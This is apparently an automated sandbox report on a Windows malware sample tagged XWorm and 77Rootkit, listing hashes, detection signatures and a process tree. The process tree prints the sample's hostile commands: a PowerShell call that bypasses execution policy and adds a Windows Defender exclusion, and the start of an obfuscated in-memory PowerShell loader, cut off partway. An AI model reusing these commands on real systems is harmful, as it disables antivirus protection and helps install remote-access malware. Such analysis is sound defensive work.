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Windows
Analysis Report
RdLfpZY5A9.exe
Overview
General Information
Sample name: | RdLfpZY5A9.exerenamed because original name is a hash value |
Original sample name: | b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c.exe |
Analysis ID: | 1575208 |
MD5: | 28db4677dcbbaa0a4c5adbc02c9da4f3 |
SHA1: | e1f0199ed131a90e25204399e4e876da64ea3ba5 |
SHA256: | b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c |
Tags: | exeuser-Chainskilabs |
Infos: | |
Detection
77Rootkit, XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected 77Rootkit
Yara detected Telegram RAT
Yara detected Telegram Recon
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Creates files in the system32 config directory
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Protects its processes via BreakOnTermination flag
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Uncommon Svchost Parent Process
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- RdLfpZY5A9.exe (PID: 7312 cmdline:
"C:\Users\ user\Deskt op\RdLfpZY 5A9.exe" MD5: 28DB4677DCBBAA0A4C5ADBC02C9DA4F3) - Install.exe (PID: 7408 cmdline:
"C:\Progra mData\Inst all.exe" MD5: B5F6C9AC3389F5E61B4C750CF950E27C) - KrnlSetupSus.exe (PID: 7424 cmdline:
"C:\Progra mData\Krnl SetupSus.e xe" MD5: 6435792D63BE630506EB9EEBBD1E3878) - powershell.exe (PID: 7712 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nPath 'C:\ ProgramDat a\KrnlSetu pSus.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7720 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- powershell.exe (PID: 7452 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:zDgZeI ZuxWRL{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$lbrdg gfZMoOJSI, [Parameter (Position= 1)][Type]$ IOfHboHVyv )$RBuJknKp jnm=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' '+[Char](8 2)+''+[Cha r](101)+'' +'f'+'l'+' e'+''+'c'+ ''+[Char]( 116)+''+[C har](101)+ ''+'d'+''+ [Char](68) +''+[Char] (101)+'l'+ 'e'+''+[Ch ar](103)+' '+[Char](9 7)+'t'+'e' +'')),[Ref lection.Em it.Assembl yBuilderAc cess]::Run ).DefineDy namicModul e(''+[Char ](73)+'nM' +'e'+'m'+[ Char](111) +'r'+[Char ](121)+''+ [Char](77) +''+[Char] (111)+''+[ Char](100) +''+[Char] (117)+''+[ Char](108) +''+[Char] (101)+'',$ False).Def ineType('' +[Char](77 )+''+'y'+' De'+[Char] (108)+''+' e'+''+[Cha r](103)+'a '+'t'+''+' e'+'T'+[Ch ar](121)+' '+[Char](1 12)+''+[Ch ar](101)+' ','C'+[Cha r](108)+'' +[Char](97 )+''+'s'+' '+[Char](1 15)+''+[Ch ar](44)+'' +'P'+''+[C har](117)+ ''+'b'+'l' +[Char](10 5)+''+'c'+ ''+','+''+ 'S'+''+'e' +'a'+'l'+' '+'e'+'d'+ [Char](44) +''+'A'+'' +'n'+''+[C har](115)+ 'iC'+[Char ](108)+''+ [Char](97) +''+[Char] (115)+''+[ Char](115) +''+[Char] (44)+''+[C har](65)+' '+'u'+''+' t'+'o'+[Ch ar](67)+'' +'l'+'a'+[ Char](115) +''+[Char] (115)+'',[ MulticastD elegate]); $RBuJknKpj nm.DefineC onstructor (''+'R'+'' +[Char](84 )+''+[Char ](83)+''+[ Char](112) +'e'+[Char ](99)+''+[ Char](105) +''+'a'+'' +[Char](10 8)+'N'+'a' +''+'m'+'e '+[Char](4 4)+'H'+'i' +''+[Char] (100)+''+[ Char](101) +''+'B'+'' +[Char](12 1)+''+[Cha r](83)+''+ [Char](105 )+''+[Char ](103)+''+ [Char](44) +'P'+'u'+' b'+[Char]( 108)+''+[C har](105)+ ''+[Char]( 99)+'',[Re flection.C allingConv entions]:: Standard,$ lbrdggfZMo OJSI).SetI mplementat ionFlags(' '+'R'+'u'+ 'n'+''+[Ch ar](116)+' '+[Char](1 05)+''+[Ch ar](109)+' '+[Char](1 01)+''+',' +''+[Char] (77)+''+[C har](97)+' n'+[Char]( 97)+''+[Ch ar](103)+' e'+'d'+'') ;$RBuJknKp jnm.Define Method(''+ [Char](73) +''+[Char] (110)+'vok e','P'+[Ch ar](117)+' '+[Char](9 8)+''+[Cha r](108)+'' +[Char](10 5)+''+'c'+ ''+','+''+ [Char](72) +''+[Char] (105)+''+[ Char](100) +'e'+[Char ](66)+''+' y'+''+[Cha r](83)+''+ [Char](105 )+''+[Char ](103)+''+ [Char](44) +''+[Char] (78)+'e'+[ Char](119) +''+[Char] (83)+''+[C har](108)+ 'o'+[Char] (116)+''+[ Char](44)+ ''+[Char]( 86)+''+[Ch ar](105)+' r'+[Char]( 116)+''+'u '+''+[Char ](97)+''+' l'+'',$IOf HboHVyv,$l brdggfZMoO JSI).SetIm plementati onFlags('' +[Char](82 )+'un'+[Ch ar](116)+' ime'+','+' '+[Char](7 7)+'a'+'n' +''+[Char] (97)+''+'g '+''+'e'+' '+[Char](1 00)+'');Wr ite-Output $RBuJknKp jnm.Create Type();}$y sqdxYMCHCL Na=([AppDo main]::Cur rentDomain .GetAssemb lies()|Whe re-Object{ $_.GlobalA